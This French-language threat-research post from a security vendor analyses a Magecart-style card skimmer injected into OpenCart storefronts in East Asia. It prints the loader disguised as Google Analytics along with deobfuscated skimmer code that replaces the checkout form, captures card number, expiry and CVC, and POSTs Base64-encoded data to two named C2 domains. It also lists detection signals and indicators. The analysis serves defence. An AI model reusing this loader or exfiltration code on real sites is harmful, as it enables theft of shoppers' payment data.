En bref : overlay de checkout factice sur OpenCart avec skimmer à double C2
- La plateforme oubliée : Magento capte toute la couverture Magecart. OpenCart fait tourner des milliers de boutiques d'Asie de l'Est avec presque aucune couverture de ce type, et c'est précisément pourquoi cette campagne y a prospéré. Les attaquants migrent vers la plateforme que votre liste de fournisseurs a oubliée.
- Comment ça marchait : Le script injecté se déguisait en Google Analytics ou Tag Manager, décodait en Base64 vers /tagscart[.]shop/cdn/analytics.min.js, cachait le formulaire de paiement réel, le remplaçait, puis envoyait par POST les données de carte vers ultracart[.]shop et hxjet.pics, en double C2. cside signale les comportements de script anormaux, comme des loaders imitant GA qui chargent des ressources depuis des domaines inhabituels avant le rendu du checkout.
- À faire maintenant : Si vous tournez sous OpenCart ou tout autre panier non-Magento sur du trafic d'Asie de l'Est, ne partez pas du principe que Magecart vous épargne. Mettez en place une inspection des scripts en temps réel devant le checkout dès cette semaine, ou découvrez le skimmer des mois plus tard quand un débit de 47,80 € tombera d'un vendeur inconnu.
Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur par cside. Elle couvre tout ce qui suit en un seul déploiement.
Nous avons détecté une attaque de type Magecart ciblant la plateforme CMS OpenCart. La campagne semble se concentrer sur des sites e-commerce en Asie de l'Est. Magecart est devenu un terme utilisé comme synonyme d'attaques côté client, issu de la contraction de Magento + Cart.
Comment l'attaque par injection de script s'est produite
Le script malveillant est injecté directement dans la page d'accueil du site. Il se dissimule parmi des intégrations tierces légitimes telles que Facebook Pixel, Meta Pixel et Google Tag Manager. Un comportement typique d'une attaque côté client.
Voici l'extrait contenant le malware injecté :
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
À première vue, cela ressemble à une intégration normale de Google Analytics ou de Tag Manager, mais ce n'en est pas une.
Le payload décodé en Base64 pointe vers :
/tagscart[.]shop/cdn/analytics.min.js
Une fois ce script chargé :
- Il crée un élément
- Il définit son src sur le fichier malveillant analytics.min.js.
- Il s'injecte dans la page avant toute balise script existante.
Comportement du script malveillant
Le script provenant de /tagscart[.]shop/cdn/analytics.min.js était fortement obfusqué.
Parmi les techniques utilisées :
- Références de caractères hexadécimaux (indexation 0x...)
- Découpage de tableaux et recombinaison dynamique (.split('|'))
- Utilisation dangereuse de eval() pour exécuter du code décodé dynamiquement
- Exécution silencieuse via try { onLoad(); } catch {}
Après désobfuscation
Voici les parties les plus importantes :
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Serveur C2 malveillant
var sAdsUrl2 = '//hxjet.pics/g.php'; // Serveur C2 de secours
// #################### FAKE FORM INJECTION ####################
// Injection dans le flux de paiement standard
function onTimerStd() {
// ... (omis pour la lisibilité)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Injection du faux formulaire
// Configuration du masque de saisie
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Formatage du numéro de carte
placeHolder: "Valid Card Number"
});
// ... idem pour les champs date et CVC
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Attache des écouteurs aux champs de paiement
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Capture quand le focus quitte le champ
hEl.addEventListener('keydown', mainListener); // Capture les frappes clavier
hEl.addEventListener('paste', mainListener); // Capture les données collées
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Ajuste la validation pour les cartes Amex
} catch (e) {}
// Vérifications avant exfiltration
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Longueur minimale du CVC requise
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Date d'expiration complète requise
// ... (logique d'exfiltration des données)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (vérifications de validation)
var sDump = JSON.stringify({
"u": window.location.href, // Capture l'URL courante
"f": vData // Données de formulaire volées
});
sDump = Base64.encode(sDump); // Encodage des données
iMethod = 1;
sendData(sAdsUrl1, sDump); // Envoi vers le premier C2
sendData(sAdsUrl2, sDump); // Envoi vers le C2 de secours
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (après injection)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Masque le formulaire de paiement original
}
// ... (affiche le faux formulaire)
}
Fonctionnalités malveillantes
- Injection d'un faux formulaire de paiement : Il crée dynamiquement un faux formulaire de carte bancaire (HTML + CSS).
- Le faux formulaire est injecté sur les pages de paiement.
- Il surveille la saisie de l'utilisateur dans des champs tels que :payment[cc_number]
- payment[date]
- payment[cc_cid]
- Vérifie que les champs de carte semblent valides (par ex. longueur du CVC, format de la date d'expiration).
- Après validation, il encode en Base64 et capture les données (y compris l'URL de la page courante) et les envoie vers ://ultracart[.]shop/g.php
- //hxjet.pics/g.php
- Le formulaire de paiement original est masqué.
- Le faux formulaire est affiché à la place, stylisé pour paraître légitime.
- Implémente un InputMask personnalisé pour donner un aspect professionnel aux champs (par ex. formatage automatique du numéro de carte bancaire).
Comportement inattendu
Contrairement à certaines attaques Magecart traditionnelles, ce script tiers ne copie pas depuis le presse-papiers. Les utilisateurs sont contraints de saisir manuellement les détails de leur carte. Une fois les données de carte saisies, elles sont immédiatement envoyées au serveur de l'attaquant. Le formulaire de paiement par carte est ensuite masqué, et l'utilisateur est invité à saisir ses coordonnées de virement bancaire pour capturer des informations sensibles supplémentaires.
Fausse page de paiement

Fausse page de paiement après saisie de la carte, affichant la page de coordonnées bancaires

Requête POST capturée vers le C2

Données Base64 envoyées

Payload décodé

Comment nous surveillons l'utilisation
Pour suivre l'attaque et voir comment les données sont gérées, utilisées ou revendues, nous utilisons des canary tokens. Voici ce que nous avons constaté :
Dans la plupart des cas, nous observons une utilisation de la carte volée dans les jours qui suivent. Ici, il a fallu plusieurs mois.
Dans cet exemple, nous en avons relevé deux. La première était une transaction par téléphone en provenance des États-Unis, le 18 juin.

Une deuxième transaction a été effectuée pour 47,80 € auprès d'un vendeur inconnu.

Le suivi de ces attaques nous permet de mieux comprendre qui se cache derrière elles et comment ces campagnes évoluent.
Notre plateforme de détection a identifié cette attaque grâce à une combinaison de signaux :
- Comportement de script anormal : Des scripts se faisant passer pour des outils légitimes (Google Analytics / GTM) mais chargeant des ressources depuis des domaines inhabituels.
- Motifs JavaScript obfusqués : Utilisation d'eval dynamique, décodage Base64 et manipulation suspecte de tableaux.
- Détection de remplacement de formulaire : Surveillance des faux formulaires injectés sur des flux de paiement connus.
Surveillance des domaines menaçants : tagscart[.]shop, ultracart[.]shop et hxjet[.]pics étaient déjà signalés dans nos flux de renseignement sur les menaces.
Notes de clôture
Chez cside, nous surveillons en permanence les scripts tiers et les ressources web afin de détecter et prévenir les attaques côté client comme celle-ci.
Notre plateforme de détection est conçue pour :
- Identifier les injections de scripts non autorisées
- Analyser les comportements suspects en temps réel
- Bloquer les attaques avant que les données sensibles des clients ne puissent être dérobées
Nous aidons les entreprises à préserver la confiance de leurs clients en gardant une longueur d'avance sur l'évolution des menaces côté client.









